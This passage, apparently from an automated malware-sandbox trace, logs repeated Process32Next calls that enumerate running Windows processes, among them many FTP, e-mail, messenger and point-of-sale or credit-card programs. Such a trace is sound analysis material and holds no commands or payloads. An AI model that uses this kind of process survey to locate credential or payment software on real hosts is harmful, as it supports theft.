th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.482] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.484] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.486] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.488] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.490] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.492] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.494] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.536] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.539] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0104.541] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0104.543] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.545] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0104.547] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.549] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0104.551] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.553] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0104.555] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0104.557] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.559] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0104.561] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0104.563] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.566] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0104.568] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0104.570] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0104.572] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0104.574] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0104.575] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0104.577] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0104.579] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0104.581] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0104.632] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0104.634] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0104.636] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0104.638] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0104.640] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0104.642] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0104.645] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0104.647] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0104.649] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0104.651] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0104.653] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0104.655] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0104.657] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0104.659] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0104.661] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0104.663] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0104.665] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0104.668] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0104.670] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0104.673] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0104.737] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0104.740] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0104.742] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0104.745] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0104.747] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0104.749] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0104.752] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0104.755] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0104.757] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0104.760] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0104.762] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0104.765] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0104.768] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0104.773] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0104.775] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0104.778] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0104.780] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0104.783] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0104.785] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0104.788] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0104.790] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0104.792] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0104.794] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0104.796] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0104.798] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0104.800] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0104.803] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0104.805] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0104.807] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0104.809] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0104.811] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0104.813] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0104.820] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0104.822] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 